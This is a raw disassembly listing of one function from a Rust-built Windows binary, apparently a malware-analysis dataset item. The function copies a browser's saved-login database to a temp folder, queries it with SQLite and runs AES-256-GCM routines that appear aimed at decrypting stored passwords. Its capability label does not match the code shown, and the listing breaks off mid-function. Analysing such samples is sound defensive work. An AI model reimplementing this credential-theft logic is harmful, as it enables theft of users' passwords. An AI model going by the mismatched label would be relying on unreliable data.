Function at 0x100158ed
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x910
lea esi, [esp + 0x700]
mov dword [esp], edx
mov dword [esp + 0xd8], ecx
mov edx, str.hellos
mov ecx, esi
push 6
call sym.tempdir::TempDir::new::h155e9966228e8180
pop eax
lea ebx, [esp + 0x290]
mov edx, esi
mov ecx, ebx
push 0x10168c18
call sym.core::result::Result_LT_T_C_E_GT_::unwrap::h00e9503037c4bc0c
pop eax
mov ecx, ebx
call sym.tempdir::TempDir::path::h3d6f2131afe16424
lea edi, [esp + 0x510]
mov esi, edx
mov edx, eax
mov ecx, edi
push 0xa
push str.Login_Data
push esi
call sym.std::path::Path::_join::hc6a360a0c8082ce8
add esp, 0xc
mov ebx, dword [edi + 4]
mov edi, dword [edi + 8]
mov edx, dword [esp]
lea esi, [esp + 0x700]
mov ecx, esi
push edi
push ebx
push dword [ebp + 8]
call sym.std::fs::copy::h0cede694ecaae621
add esp, 0xc
mov ecx, dword [esi]
mov edx, dword [esi + 4]
push 0x10168c34
push dword [esi + 8]
call sym.core::result::Result_LT_T_C_E_GT_::unwrap::hf37c95d6a74dbfef
pop eax
pop ecx
lea eax, [esp + 0x510]
and dword [esp + 0x140], 0
lea ecx, [esp + 0x700]
mov dword [esp], ebx
mov edx, ebx
mov eax, dword [eax]
mov dword [esp + 0x10], eax
push edi
mov edi, ecx
call dbg.from_utf8
pop eax
cmp dword [edi], 0
je 0x100159f2
lea edx, [esp + 0x700]
lea esi, [esp + 0x2a8]
mov dword [edx], str.failed_to_process_a_path8
mov dword [edx + 4], 1
and dword [edx + 0x10], 0
mov dword [edx + 8], str._rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrarycore_srccharmethods.rs_
and dword [edx + 0xc], 0
mov ecx, esi
call sym.__ZN5alloc3fmt6format17h89356f2389f6f651E.63
and dword [esi - 8], 0
jmp 0x10015ae2
mov edx, dword [esp + 0x704]
lea esi, [esp + 0x520]
mov ecx, esi
push dword [esp + 0x708]
call dbg.spec_new_impl
pop eax
cmp dword [esi], 0x80000000
jne 0x10015aa1
mov esi, dword [esp + 0x524]
mov edi, dword [esp + 0x528]
lea eax, [esp + 0x140]
push 0
push 6
push eax
push esi
call sym._sqlite3_open_v2
add esp, 0x10
mov ecx, esi
mov edx, edi
mov ebx, eax
call sym.core::ptr::drop_in_place_LT_alloc..ffi..c_str..CString_GT_::h05ffb32a7d7730ed
test ebx, ebx
je 0x1001706b
mov edx, dword [esp + 0x140]
lea esi, [esp + 0x700]
mov ecx, esi
call sym.sqlite::last_error::h93086333f38fdeb3
cmp dword [esi], 2
jne 0x10017091
push dword [esp + 0x140]
call sym._sqlite3_close
pop ecx
xor esi, esi
mov dword [esp + 0x2a0], 1
mov dword [esp + 0x2a4], ebx
mov dword [esp + 0x2a8], 0x80000000
inc esi
jmp 0x100170d7
lea edx, [esp + 0x700]
lea esi, [esp + 0x2a8]
mov dword [edx], str.failed_to_process_a_path8
mov dword [edx + 4], 1
and dword [edx + 0x10], 0
mov dword [edx + 8], str._rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrarycore_srccharmethods.rs_
and dword [edx + 0xc], 0
mov ecx, esi
call sym.__ZN5alloc3fmt6format17h89356f2389f6f651E.63
and dword [esi - 8], 0
lea ecx, [esp + 0x520]
call sym.__ZN4core3ptr105drop_in_place_LT_core..result..Result_LT_alloc..ffi..c_str..CString_C_alloc..ffi..c_str..NulError_GT__GT_17h37
xor esi, esi
mov ecx, dword [esp + 0x10]
mov edx, dword [esp]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
cmp esi, 2
jne 0x1001722b
mov eax, dword [esp + 0x2a4]
mov ecx, dword [esp + 0x2a8]
mov esi, dword [esp + 0x2ac]
and dword [esp + 0x140], 0
lea edi, [esp + 0x520]
mov edx, 0x10168c54
mov dword [esp + 0x50], ecx
mov dword [esp + 0xd4], eax
mov ecx, edi
push 0x3d
call dbg.spec_new_impl
pop eax
cmp dword [edi], 0x80000000
jne 0x10017275
mov eax, dword [esp + 0x528]
mov edi, dword [esp + 0x524]
mov dword [esp], eax
lea eax, [esp + 0x140]
push 0
push eax
push 0xffffffffffffffff
push edi
push esi
call sym._sqlite3_prepare_v2
add esp, 0x14
test eax, eax
mov dword [esp + 0x2c], esi
je 0x10015bf7
mov dword [esp + 0x10], edi
lea edi, [esp + 0x700]
mov edx, esi
mov ebx, eax
mov ecx, edi
call sym.sqlite::last_error::h93086333f38fdeb3
cmp dword [edi], 2
je 0x100172b8
movq xmm0, qword [esp + 0x700]
movq xmm1, qword [esp + 0x708]
mov eax, dword [esp + 0x710]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp]
movq qword [esp + 0x2a0], xmm0
mov dword [esp + 0x2b0], eax
movq qword [esp + 0x2a8], xmm1
mov esi, dword [esp + 0x2a0]
call sym.core::ptr::drop_in_place_LT_alloc..ffi..c_str..CString_GT_::h05ffb32a7d7730ed
cmp esi, 2
jne 0x100172e1
mov eax, dword [esp + 0x2a8]
mov ebx, dword [esp + 0x2a4]
mov dword [esp + 0x4c], eax
jmp 0x10015c0c
mov edx, dword [esp]
mov ecx, edi
call sym.core::ptr::drop_in_place_LT_alloc..ffi..c_str..CString_GT_::h05ffb32a7d7730ed
mov ebx, dword [esp + 0x140]
mov dword [esp + 0x4c], esi
mov eax, dword [ebp + 0xc]
lea ecx, [esp + 0x58]
xor edx, edx
mov dword [esp + 0x54], ebx
and dword [ecx], 0
mov dword [ecx + 4], 4
add eax, 0x10
mov dword [esp + 0xdc], eax
mov dword [esp + 0x60], edx
push ebx
call sym._sqlite3_step
pop ecx
cmp eax, 0x64
jne 0x10016f46
lea esi, [esp + 0x700]
mov edx, ebx
mov ecx, esi
push 0
call sym.sqlite::statement::Statement::read::hf49d1966db927cff
pop eax
lea ecx, [esp + 0x128]
mov edx, esi
push 0x10168cb4
call sym.core::result::Result_LT_T_C_E_GT_::unwrap::hfeecad8a6606c6cf
pop eax
mov ecx, esi
mov edx, ebx
push 1
call sym.sqlite::statement::Statement::read::hf49d1966db927cff
pop eax
lea ecx, [esp + 0x134]
mov edx, esi
push 0x10168cc4
call sym.core::result::Result_LT_T_C_E_GT_::unwrap::hfeecad8a6606c6cf
pop eax
push 2
push ebx
call sym._sqlite3_column_blob
pop ecx
pop edx
test eax, eax
je 0x10015cc3
mov ecx, ebx
mov ebx, eax
push 2
push ecx
call sym._sqlite3_column_bytes
pop ecx
pop edx
mov ecx, eax
mov esi, eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::allocate_in::h24ca61b25c7d0029
mov edi, edx
mov dword [esp], eax
push esi
push ebx
push edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0xc]
add esp, 0xc
jmp 0x10015cca
xor edx, edx
xor edi, edi
xor esi, esi
inc edi
mov eax, dword [ebp + 0x10]
lea ecx, [esp + 0x520]
mov dword [esp + 0x64], edx
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], esi
cmp eax, 0x20
mov dword [esp + 0x2a0], eax
jne 0x10017102
mov al, byte [0x10163004]
lea edi, [esp + 0x2a0]
cmp al, 0xff
je 0x100162e6
cmp al, 1
jne 0x1001637b
mov eax, dword [ebp + 0xc]
lea esi, [esp + 0x140]
lea edx, [esp + 0x4a0]
mov ecx, esi
movups xmm1, xmmword [eax + 0x10]
movups xmm0, xmmword [eax]
movaps xmmword [esp], xmm0
movaps xmmword [esp + 0x10], xmm1
movaps xmmword [esp + 0x4a0], xmm1
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::h32ad6f25bc9c8439
movdqa xmm3, xmmword [esp]
pshufd xmm0, xmmword [esp + 0x140], 0xff
mov ecx, esi
lea edx, [esp + 0x4b0]
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0xc0], xmm4
movdqa xmmword [esp + 0x4b0], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hcfb7df81b51d821f
movdqa xmm3, xmmword [esp + 0x10]
pshufd xmm0, xmmword [esp + 0x140], 0xaa
mov ecx, esi
lea edx, [esp + 0x4c0]
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0xf0], xmm4
movdqa xmmword [esp + 0x4c0], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::h4404d2a0de8befde
movdqa xmm3, xmmword [esp + 0xc0]
pshufd xmm0, xmmword [esp + 0x140], 0xff
mov ecx, esi
lea edx, [esp + 0x4d0]
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0xb0], xmm4
movdqa xmmword [esp + 0x4d0], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hcfb7df81b51d821f
movdqa xmm3, xmmword [esp + 0xf0]
pshufd xmm0, xmmword [esp + 0x140], 0xaa
mov ecx, esi
lea edx, [esp + 0x4e0]
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0xe0], xmm4
movdqa xmmword [esp + 0x4e0], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::h435ca4e155d38db8
movdqa xmm3, xmmword [esp + 0xb0]
pshufd xmm0, xmmword [esp + 0x140], 0xff
mov ecx, esi
lea edx, [esp + 0x4f0]
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0x280], xmm4
movdqa xmmword [esp + 0x4f0], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hcfb7df81b51d821f
movdqa xmm3, xmmword [esp + 0xe0]
pshufd xmm0, xmmword [esp + 0x140], 0xaa
mov ecx, esi
lea edx, [esp + 0x500]
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0x270], xmm4
movdqa xmmword [esp + 0x500], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::h60836cae2034745d
movdqa xmm3, xmmword [esp + 0x280]
pshufd xmm0, xmmword [esp + 0x140], 0xff
mov ecx, esi
lea edx, [esp + 0x100]
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0x260], xmm4
movdqa xmmword [esp + 0x100], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hcfb7df81b51d821f
movdqa xmm3, xmmword [esp + 0x270]
pshufd xmm0, xmmword [esp + 0x140], 0xaa
mov ecx, esi
lea edx, [esp + 0x110]
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0x250], xmm4
movdqa xmmword [esp + 0x110], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hf50de2cd119b2643
movdqa xmm3, xmmword [esp + 0x260]
pshufd xmm0, xmmword [esp + 0x140], 0xff
mov ecx, esi
lea edx, [esp + 0xa0]
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0x240], xmm4
movdqa xmmword [esp + 0xa0], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hcfb7df81b51d821f
movdqa xmm3, xmmword [esp + 0x250]
pshufd xmm0, xmmword [esp + 0x140], 0xaa
lea ebx, [esp + 0x90]
mov ecx, esi
mov edx, ebx
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0x230], xmm4
movdqa xmmword [esp + 0x90], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hbd60ece91bcd8194
movdqa xmm3, xmmword [esp + 0x240]
pshufd xmm0, xmmword [esp + 0x140], 0xff
mov ecx, esi
lea edx, [esp + 0x70]
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0x480], xmm4
movdqa xmmword [esp + 0x70], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hcfb7df81b51d821f
movdqa xmm3, xmmword [esp + 0x230]
pshufd xmm0, xmmword [esp + 0x140], 0xaa
lea ecx, [esp + 0x30]
mov edx, esi
movdqa xmm1, xmm3
movdqa xmm2, xmm3
movdqa xmm4, xmm3
pslldq xmm2, 8
pslldq xmm1, 4
pslldq xmm4, 0xc
pxor xmm2, xmm0
pxor xmm4, xmm1
pxor xmm4, xmm2
pxor xmm4, xmm3
movdqa xmmword [esp + 0x490], xmm4
movdqa xmmword [esp + 0x140], xmm4
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hb54952cb05097fe4
movdqa xmm3, xmmword [esp + 0x480]
movaps xmm4, xmmword [esp + 0x10]
pshufd xmm0, xmmword [esp + 0x30], 0xff
lea ecx, [esp + 0x390]
mov edx, esi
movdqa xmm2, xmm3
movdqa xmm5, xmm3
movdqa xmm1, xmm3
pslldq xmm2, 4
pslldq xmm5, 0xc
pslldq xmm1, 8
pxor xmm5, xmm2
movaps xmm2, xmmword [esp]
pxor xmm1, xmm0
pxor xmm5, xmm1
pxor xmm5, xmm3
movaps xmmword [esp + 0x140], xmm2
movaps xmm2, xmmword [esp + 0xc0]
movaps xmmword [esp + 0x150], xmm4
movaps xmm4, xmmword [esp + 0xf0]
movaps xmmword [esp + 0x160], xmm2
movaps xmm2, xmmword [esp + 0xb0]
movaps xmmword [esp + 0x170], xmm4
movaps xmm4, xmmword [esp + 0xe0]
movaps xmmword [esp + 0x180], xmm2
movaps xmm2, xmmword [esp + 0x280]
movaps xmmword [esp + 0x190], xmm4
movaps xmm4, xmmword [esp + 0x270]
movaps xmmword [esp + 0x1a0], xmm2
movaps xmm2, xmmword [esp + 0x260]
movaps xmmword [esp + 0x1b0], xmm4
movaps xmm4, xmmword [esp + 0x250]
movaps xmmword [esp + 0x1c0], xmm2
movaps xmm2, xmmword [esp + 0x240]
movaps xmmword [esp + 0x1d0], xmm4
movdqa xmm4, xmmword [esp + 0x230]
movaps xmmword [esp + 0x1e0], xmm2
movaps xmm2, xmmword [esp + 0x490]
movdqa xmmword [esp + 0x1f0], xmm4
movdqa xmmword [esp + 0x200], xmm3
movaps xmmword [esp + 0x210], xmm2
movdqa xmmword [esp + 0x220], xmm5
call sym.__ZN3aes2ni6aes25617inv_expanded_keys17hd411ac049e41ff28E.69
push 0xf0
push esi
lea esi, [esp + 0x528]
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
push 0x1e0
push edi
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
jmp 0x10016630
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid::h360a26649528b369
mov ecx, edi
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid_count::hda7945ccd3e945e2
mov ebx, dword [esp + 0x528]
mov ecx, str.xmmymmzmm
call sym.__LT__u5b_A_u5d__u20_as_u20_core..slice..cmp..SlicePartialEq_LT_B_GT__GT_::equal::h494f18397d90d705
mov esi, ebx
test al, al
not esi
je 0x1001631f
test esi, 0xc000000
jne 0x10016368
call sym.core::core_arch::x86::xsave::_xgetbv::h21c97f6eb51c564e
and eax, 2
shr eax, 1
jmp 0x1001636a
mov ecx, 0x1016836f
call sym.__LT__u5b_A_u5d__u20_as_u20_core..slice..cmp..SlicePartialEq_LT_B_GT__GT_::equal::h494f18397d90d705
test al, al
je 0x10016340
test esi, 0xc000000
jne 0x10016368
call sym.core::core_arch::x86::xsave::_xgetbv::h21c97f6eb51c564e
not eax
test al, 6
jmp 0x10016363
mov ecx, 0x10168372
call sym.__LT__u5b_A_u5d__u20_as_u20_core..slice..cmp..SlicePartialEq_LT_B_GT__GT_::equal::h494f18397d90d705
mov ecx, eax
mov al, 1
test cl, cl
je 0x1001636a
test esi, 0xc000000
jne 0x10016368
call sym.core::core_arch::x86::xsave::_xgetbv::h21c97f6eb51c564e
not eax
test al, 0xe6
sete al
jmp 0x1001636a
xor eax, eax
shr ebx, 0x19
and bl, al
mov byte [0x10163004], bl
jne 0x10015d0c
push 0x1e0
push 0
push edi
call sub.msvcrt.dll_memset
add esp, 0xc
mov ecx, edi
push 8
pop ebx
mov edx, ebx
push 0x10
pop esi
push esi
mov eax, dword [ebp + 0xc]
push eax
push esi
push eax
call sym.aes::soft::fixslice::bitslice::hf14e59fd966e1930
add esp, 0x10
lea ecx, [esp + 0x2c0]
mov edx, ebx
push esi
mov eax, dword [esp + 0xe0]
push eax
push esi
push eax
call sym.aes::soft::fixslice::bitslice::hf14e59fd966e1930
add esp, 0x10
mov dword [esp], 0
lea edi, [esp + 0x2a0]
mov edx, ebx
mov ecx, edi
call sym.aes::soft::fixslice::memshift32::hb59df0ae7599390c
lea esi, [ebx + 8]
add ebx, 0x10
mov ecx, edi
mov edx, esi
push 0x1016730c
push ebx
call sym.__ZN4core5array88__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u3b__u20_N_u5d__GT_9index_mut17h5ea2c56f
pop ecx
pop ecx
mov ecx, eax
call sym.aes::soft::fixslice::sub_bytes::h318f08d91c34a08e
mov edx, esi
mov ecx, edi
push 0x1016731c
push ebx
call sym.__ZN4core5array88__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u3b__u20_N_u5d__GT_9index_mut17h5ea2c56f
pop ecx
pop ecx
mov ecx, eax
call sym.aes::soft::fixslice::sub_bytes_nots::h1b89947d0aebe496
mov edx, esi
mov ecx, edi
push 0x1016732c
push ebx
call sym.__ZN4core5array88__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u3b__u20_N_u5d__GT_9index_mut17h5ea2c56f
pop ecx
pop ecx
mov esi, dword [esp]
cmp esi, edx
jae 0x1001705f
xor byte [eax + esi*4 + 1], 0xc0
add ebx, 0xfffffff8
lea ecx, [esp + 0x2a0]
mov edx, ebx
push 0xe
call sym.aes::soft::fixslice::xor_columns::hbafb934257cc2d47
pop eax
cmp esi, 6
je 0x100164b3
lea ecx, [esp + 0x2a0]
mov edx, ebx
call sym.aes::soft::fixslice::memshift32::hb59df0ae7599390c
mov edi, esi
lea esi, [ebx + 8]
add ebx, 0x10
lea ecx, [esp + 0x2a0]
mov edx, esi
push 0x1016737c
push ebx
call sym.__ZN4core5array88__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u3b__u20_N_u5d__GT_9index_mut17h5ea2c56f
pop ecx
pop ecx
mov ecx, eax
call sym.aes::soft::fixslice::sub_bytes::h318f08d91c34a08e
lea ecx, [esp + 0x2a0]
mov edx, esi
push 0x1016738c
push ebx
call sym.__ZN4core5array88__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u3b__u20_N_u5d__GT_9index_mut17h5ea2c56f
pop ecx
pop ecx
mov ecx, eax
call sym.aes::soft::fixslice::sub_bytes_nots::h1b89947d0aebe496
lea ecx, [esp + 0x2a0]
mov edx, esi
push 6
call sym.aes::soft::fixslice::xor_columns::hbafb934257cc2d47
pop eax
inc edi
mov ebx, esi
mov dword [esp], edi
jmp 0x100163c7
push 8
pop edi
push 3
pop ebx
sub ebx, 1
jb 0x1001659f
lea eax, [edi + 8]
mov edx, edi
mov dword [esp], ebx
lea ecx, [esp + 0x2a0]
push 0x1016734c
mov dword [esp + 0x14], eax
push eax
call sym.__ZN4core5array88__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u3b__u20_N_u5d__GT_9index_mut17h5ea2c56f
pop ecx
pop ecx
shl edx, 2
test edx, edx
je 0x1001651d
mov esi, dword [eax]
add edx, 0xfffffffc
mov ecx, esi
shr ecx, 4
xor ecx, esi
and ecx, 0x30f0c00
xor esi, ecx
shl ecx, 4
xor ecx, esi
mov esi, ecx
shr esi, 2
xor esi, ecx
and esi, 0x33003300
xor ecx, esi
shl esi, 2
xor esi, ecx
mov dword [eax], esi
add eax, 4
jmp 0x100164e5
mov edx, dword [esp + 0x10]
lea esi, [edi + 0x10]
mov ebx, edi
lea edi, [esp + 0x2a0]
mov ecx, edi
push 0x1016735c
push esi
call sym.__ZN4core5array88__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u3b__u20_N_u5d__GT_9index_mut17h5ea2c56f
pop ecx
pop ecx
mov ecx, eax
call sym.aes::soft::fixslice::shift_rows_2::h7efe63c8787f1c02
mov ecx, edi
lea eax, [ebx + 0x18]
mov edi, ebx
mov edx, esi
push 0x1016736c
push eax
call sym.__ZN4core5array88__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u3b__u20_N_u5d__GT_9index_mut17h5ea2c56f
pop ecx
pop ecx
shl edx, 2
test edx, edx
je 0x10016594
mov esi, dword [eax]
add edx, 0xfffffffc
mov ecx, esi
shr ecx, 4
xor ecx, esi
and ecx, 0xc0f0300
xor esi, ecx
shl ecx, 4
xor ecx, esi
mov esi, ecx
shr esi, 2
xor esi, ecx
and esi, 0x33003300
xor ecx, esi
shl esi, 2
xor esi, ecx
mov dword [eax], esi
add eax, 4
jmp 0x1001655c
mov ebx, dword [esp]
add edi, 0x20
jmp 0x100164b9
push 0xffffffffffffffe0
pop eax
lea ebx, [esp + 0x520]
lea edi, [esp + 0x2a0]
test eax, eax
je 0x100165ef
mov edx, dword [esp + eax + 0x460]
mov ecx, edx
shr ecx, 4
xor ecx, edx
and ecx, 0x30f0c00
xor edx, ecx
shl ecx, 4
xor ecx, edx
mov edx, ecx
shr edx, 2
xor edx, ecx
and edx, 0x33003300
xor ecx, edx
shl edx, 2
xor edx, ecx
mov dword [esp + eax + 0x460], edx
add eax, 4
jmp 0x100165b0
push 0x10
pop esi
cmp esi, 0x80
je 0x10016618
lea edx, [esi - 8]
mov ecx, edi
push 0x1016733c
push esi
call sym.__ZN4core5array88__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u3b__u20_N_u5d__GT_9index_mut17h5ea2c56f
pop ecx
pop ecx
mov ecx, eax
call sym.aes::soft::fixslice::sub_bytes_nots::h1b89947d0aebe496
add esi, 8
jmp 0x100165f2
push 0x1e0
push edi
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov esi, ebx
lea ebx, [esp + 0x90]
push 0x1e0
push esi
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov ecx, ebx
call fcn.1000d87a
mov al, byte [0x10163004]
cmp al, 1
jne 0x1001665c
mov ecx, edi
mov edx, ebx
push ebx
call sym.__LT_aes..autodetect..Aes256_u20_as_u20_cipher..block..BlockEncrypt_GT_::encrypt_with_backend::inner::h3b081aa6ddad6450
pop eax
jmp 0x100166a7
lea esi, [esp + 0x140]
mov ecx, esi
call fcn.1000d82d
mov ecx, esi
mov edx, ebx
call sym.generic_array::functional::FunctionalSequence::map::h5553dff162720002
lea ecx, [esp + 0x520]
mov edx, edi
push esi
call sym.aes::soft::fixslice::aes256_encrypt::h86df162810bd2f74
pop eax
movq xmm0, qword [esp + 0x520]
movq xmm1, qword [esp + 0x528]
movq qword [esp + 0x98], xmm1
movq qword [esp + 0x90], xmm0
movsd xmm0, qword [esp + 0x90]
movsd xmm1, qword [esp + 0x98]
lea ecx, [esp + 0x70]
movsd qword [esp + 0x78], xmm1
movsd qword [esp + 0x70], xmm0
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::reverse::he323b66f47a7beed
mov ebx, dword [esp + 0x7c]
mov ecx, dword [esp + 0x78]
mov edi, dword [esp + 0x74]
mov esi, dword [esp + 0x70]
mov edx, ebx
mov eax, ebx
shld eax, ecx, 1
shr edx, 0x1f
shld ecx, edi, 1
shld edi, esi, 1
shld esi, ebx, 1
and ebx, 0x80000000
mov dword [esp], eax
mov eax, edx
shl edx, 0x19
mov dword [esp + 0x38], ecx
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], edi
movd xmm1, ecx
movd xmm3, esi
movd xmm2, edi
shl eax, 0x1e
punpckldq xmm3, xmm2
or eax, ebx
or edx, eax
xor edx, dword [esp]
mov dword [esp + 0x3c], edx
movd xmm0, edx
mov al, byte [0x10163080]
punpckldq xmm1, xmm0
punpcklqdq xmm3, xmm1
cmp al, 1
je 0x10016795
movzx eax, al
lea esi, [esp + 0x700]
lea edi, [esp + 0x2a0]
cmp eax, 0xff
jne 0x100167b8
lea ecx, [esp + 0x140]
movdqa xmmword [esp], xmm3
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid::h360a26649528b369
lea ecx, [esp + 0x520]
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid_count::hda7945ccd3e945e2
mov ebx, dword [esp + 0x148]
mov eax, ebx
not eax
test eax, 0xc000000
jne 0x100167a5
call sym.core::core_arch::x86::xsave::_xgetbv::h21c97f6eb51c564e
and eax, 2
shr eax, 1
jmp 0x100167a7
lea esi, [esp + 0x700]
lea edi, [esp + 0x2a0]
jmp 0x100167e7
xor eax, eax
shr bl, 1
and bl, al
mov byte [0x10163080], bl
movdqa xmm3, xmmword [esp]
jne 0x100167e7
lea ecx, [esp + 0x520]
lea edx, [esp + 0x30]
call sym.__ZN217__LT_polyval..backend..soft..U32x4_u20_as_u20_core..convert..From_LT__RF_generic_array..GenericArray_LT_u8_C__LT_polyva
lea eax, [esp + 0x530]
and dword [eax + 4], 0
and dword [eax], 0
and dword [eax + 0xc], 0
and dword [eax + 8], 0
movdqu xmm3, xmmword [esp + 0x520]
mov eax, 0x1e0
pxor xmm0, xmm0
movdqa xmmword [esp + 0x8e0], xmm3
movdqa xmmword [esp + 0x8f0], xmm0
push eax
push edi
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov esi, dword [esp + 0x68]
mov ebx, dword [esp + 0x6c]
push 3
pop ecx
push 0xf
pop edx
push 0x10168ce4
push ebx
push esi
call sym.__ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h19b4
add esp, 0xc
cmp edx, 0xc
mov dword [esp + 0xf0], eax
mov dword [esp + 0x520], edx
jne 0x10017145
mov ecx, esi
mov edx, ebx
push 0x10168cf4
push 0xf
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..index..Index_LT_I_GT__GT_::index::h8d27394811b9a982
pop ecx
pop ecx
mov ecx, edx
mov dword [esp], eax
mov ebx, edx
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::allocate_in::h24ca61b25c7d0029
mov esi, eax
mov edi, edx
push ebx
push dword [esp + 4]
push edx
call sub.msvcrt.dll_memcpy
mov ecx, esi
mov eax, ebx
add esp, 0xc
cmp ebx, 0x10
lea ebx, [esp + 0x520]
lea esi, [esp + 0x110]
jb 0x10016e3b
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xb0], eax
add eax, 0xfffffff0
mov ecx, ebx
mov dword [esp + 0x10], edi
mov dword [esp + 0xc0], eax
call fcn.1000d87a
mov ecx, ebx
push 0x10
pop edx
push 0x10168a0c
push 0xc
pop ebx
push ebx
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h24139bf189b22
pop ecx
pop ecx
mov ecx, eax
push 0x10168a1c
push ebx
push dword [esp + 0xf8]
